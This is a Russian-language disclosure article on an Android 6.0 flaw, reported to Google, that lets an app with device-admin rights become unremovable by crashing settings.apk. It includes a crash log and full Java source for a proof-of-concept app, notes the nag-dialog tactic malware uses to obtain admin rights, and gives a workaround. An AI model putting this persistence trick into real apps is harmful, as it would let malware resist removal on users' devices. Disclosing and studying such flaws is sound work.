Ошибку в логике работы самой популярной мобильной операционной системы обнаружил исследователь из компании "Софт-Эксперты" Александр Свириденко. Эта ошибка позволяет при помощи нехитрых манипуляций установить на работающее под управлением Android 6.0 устройство программу, которую невозможно удалить штатными средствами ОС. А если таким приложением окажется троян, его не сможет снести ни один антивирус.
Об этой находке была тут же проинформирована корпорация Google. Вскоре исследователь получил официальный ответ от Android Security Team, который в целом сводился к следующему: разработчиков ОС в первую очередь интересуют уязвимости в актуальных версиях Android, для которых еще выпускаются обновления, а Android 6.0 - система морально устаревшая. Поэтому в Google не считают эту ошибку критической и вообще не рассматривают ее как серьезный инцидент, тем более что в новых версиях она уже устранена.
То, что на руках у десятков тысяч пользователей все еще имеется целый зоопарк девайсов, работающих под управлением шестерки и подверженных уязвимости никого не интересует.
После получения такого отклика, было отослано еще одно письмо с более подробным описанием выявленной ошибки, но ответа так и не последовало.
Ну а поскольку разработчикам плевать, пришло время рассказать вам о находках.
WARNING Эта статья несет исключительно информационный характер, и почерпнутую в ней информацию следует использовать только для самообразования. Автор не несет ответственности за любые возможные последствия практического применения изложенных здесь сведений и категорически не рекомендует применять описанные в статье методы и приемы в каких‐либо иных целях, кроме исследовательских.
В составе Android имеется важное приложение settings.apk, которое отвечает за отображение экрана системных настроек. Одна из ключевых особенностей settings.apk, заключается в том, что только это приложение имеет полномочия назначать другим программам или отзывать привилегии администратора.
В Google специально установили такое жесткое ограничение, что бы исключить получение повышенных привилегий клиентским софтом в обход операционной системы.
Давай представим себе чисто гипотетическую ситуацию. Предположим, некий условный вредонос, просочившийся на наше устройство, умудрился получить для себя права админа. Используя эти привилегии, троян может успешно противостоять попыткам пользователя или другого ПО его удалить.
Что бы деинсталлировать такое приложение, нужно сначала отобрать у него администраторские привилегии. Сделать это можно при помощи системного окна "Настройки", за которое отвечает settings.apk. Однако, если наш гипотетический вредонос будет постоянно ронять этот компонент при попытке изменить его привилегии, то удаление его с устройства станет невозможно.
Единственным способом избавиться от назойливой программы в такой ситуации станет только сброс устройства к заводским настройкам со всеми вытекающими неприятными последствиями. Простая перезагрузка девайса не поможет.
Ну хватит теории.
В первую очередь реализующему уязвимость приложению необходимо получить в системе привилегии администратора. Добиться этого можно разными способами. Самый простой, который практический и использует вся подобная малварь - отрисовка на экране назойливого системного уведомления с вежливой просьбой выдать программе нужные права. Окошко блокирует нормальную работу устройства до тех пор, пока юзер наконец не жмакнет на кнопку ок. Способ тупой, но на удивление действенный.
Затем нужно включить для нашего приложения системное разрешение Draw Over и сразу же отключить его. Это разрешение позволяет программе отображать свои экранные объекты поверх окон других приложений. Эта функция используется, для демонстрации пользователю какой либо жизненно важной информации со стороны приложения, которую он ни в коем случае не должен пропустить.
После этих нехитрых манипуляций с настройками при любой попытке удалить наше приложение из системы компонент settings.apk с треском и грохотом падает. А программа как ни в чем не бывало продолжает работать, причем с правами администратора.
Вот как выглядит в описываемом нами случае crash report самого settings.apk:
AndroidRuntime: FATAL EXCEPTION: main Process: com.android.settings, PID: 22149 java.lang.RuntimeException: Unable to resume activity {com.android.settings/com.android.settings.DeviceAdminAdd}: java.lang.SecurityException: com.eicar from uid 11376 not allowed to perform SYSTEM_ALERT_WINDOW at android.app.ActivityThread.performResumeActivity( ActivityThread.java:3103) at android.app.ActivityThread.handleResumeActivity( ActivityThread.java:3134) at android.app.ActivityThread.handleLaunchActivity( ActivityThread.java:2481) at android.app.ActivityThread.‐wrap11(ActivityThread.java) at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1344) at android.os.Handler.dispatchMessage(Handler.java:102) at android.os.Looper.loop(Looper.java:148) at android.app.ActivityThread.main(ActivityThread.java:5417) at java.lang.reflect.Method.invoke(Native Method) at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:726) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:616) Caused by: java.lang.SecurityException: com.eicar from uid 11376 not allowed to perform SYSTEM_ALERT_WINDOW at android.app.AppOpsManager.checkOp(AppOpsManager.java:1521) at com.android.settings.DeviceAdminAdd.onResume(DeviceAdminAdd.java:384) at android.app.Instrumentation.callActivityOnResume(Instrumentation.java:1258) at android.app.Activity.performResume(Activity.java:6327) at android.app.ActivityThread.performResumeActivity( ActivityThread.java:3092) at android.app.ActivityThread.handleResumeActivity( ActivityThread.java:3134) at android.app.ActivityThread.handleLaunchActivity( ActivityThread.java:2481) at android.app.ActivityThread.‐wrap11(ActivityThread.java) at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1344) at android.os.Handler.dispatchMessage(Handler.java:102) at android.os.Looper.loop(Looper.java:148) at android.app.ActivityThread.main(ActivityThread.java:5417) at java.lang.reflect.Method.invoke(Native Method) at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:726) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:616)
Из него мы можем сделать вывод, что наше приложение вызывает FATAL EXCEPTION в процессе com.android.settings. Ошибка возникает в кривом обработчике проверки наличия прав администратора у приложений. Краш происходит как раз в момент проверки разрешений, которые имеются у программы. В результате com.android.settings падает, а процедура удаления приложения прерывается.
Что бы продемонстрировать принцип эксплуатации этой системной ошибки, мы создали небольшое приложение. За основу был взят файл EICAR, при помощи которого тестируется работоспособность антивирусных программ. Вот как оно работает.
Для начала создадим Activity, с использованием которого можно назначить и отозвать администраторские привилегии для нашего приложения.
package com.eicar; import android.app.admin.DeviceAdminReceiver; import android.content.Context; import android.content.Intent; public class DeviceAdmin extends DeviceAdminReceiver { private static final String ADMIN_DISABLE="android.app.action. DEVICE_ADMIN_DISABLE_REQUESTED"; public void onReceive(final Context context, Intent intent) { if (intent.getAction().equals(ADMIN_DISABLE)) {} } }
А вот исходники основного Activity:
package com.eicar; import android.app.Activity; import android.app.admin.DevicePolicyManager; import android.content.ComponentName; import android.content.Context; import android.content.Intent; import android.net.Uri; import android.os.Build; import android.provider.Settings; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.view.View; import android.widget.Button; import android.widget.TextView; import android.widget.Toast; public class MainActivity extends AppCompatActivity { TextView textView; Button button; private static final int OVERLAY_PERMISSION_REQ_CODE =0; boolean isTry; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); isTry=false; setContentView(R.layout.activity_main); textView = findViewById(R.id.text); if (Build.VERSION.SDK_INT != 23) { textView.setText("it works only on android 6"); return; } button = findViewById(R.id.button); button.setVisibility(View.VISIBLE); } public boolean startDeviceAdmin(Activity activity, int Activi tyResultCode) { if(!isDeviceAdmin()){ ComponentName mDeviceAdmin = new ComponentName(activity, DeviceAdmin.class); Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVI CE_ADMIN); intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, mDevic eAdmin); intent.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION, "Activate Device Admin"); activity.startActivityForResult(intent,ActivityResultCode); return true; } return false; } private boolean isDeviceAdmin() { DevicePolicyManager mDPM = (DevicePolicyManager)getSystemService( Context.DEVICE_POLICY_SERVICE); ComponentName mDeviceAdmin = new ComponentName(this, DeviceAdmin. class); return mDPM != null && mDPM.isAdminActive(mDeviceAdmin); } @Override protected void onResume(){ super.onResume(); if(!isDeviceAdmin()) { textView.setText("Click button and activate Device Admin"); button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { startDeviceAdmin(MainActivity.this, 0); } }); } else if(isTry==false) { textView.setText("Enable and then disable 'Draw over' setting") ; button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { try { isTry = true; Intent intent = new Intent(Settings.ACTION_MANAGE_O VERLAY_PERMISSION, Uri.parse("package:" + getPackageName())); startActivityForResult(intent, OVERLAY_PERMISSION_REQ_C ODE); } catch (Exception ex) { Toast.makeText(MainActivity.this, "Your device does not support floating windows.", Toast.LENGTH_LONG).show(); } } }); } else if(isTry==true&&!Settings.canDrawOverlays(this)) { textView.setText("Try to delete me :)"); } } }
Несмотря на то, что все приложения в Android выполняются в песочнице, что по идее должно исключить доступ к их данным из вне, а так же существенно повысить безопасность системы в целом.
Обойти описанную в статье проблему можно очень просто, достаточно вернуть приложению разрешение Draw Over, которое позволяет рисовать экранные формы поверх других окон. Тогда падение settings.apk не произойдет, И программу можно будет без труда удалить с устройства. Главная проблема в том, что без подсказки о ней догадаться не сможет ни пользователь, ни антивирус.
Так что смотрите, что и откуда качаете друзья мои, что бы случайно не выдать права администратора какому нибудь трояну.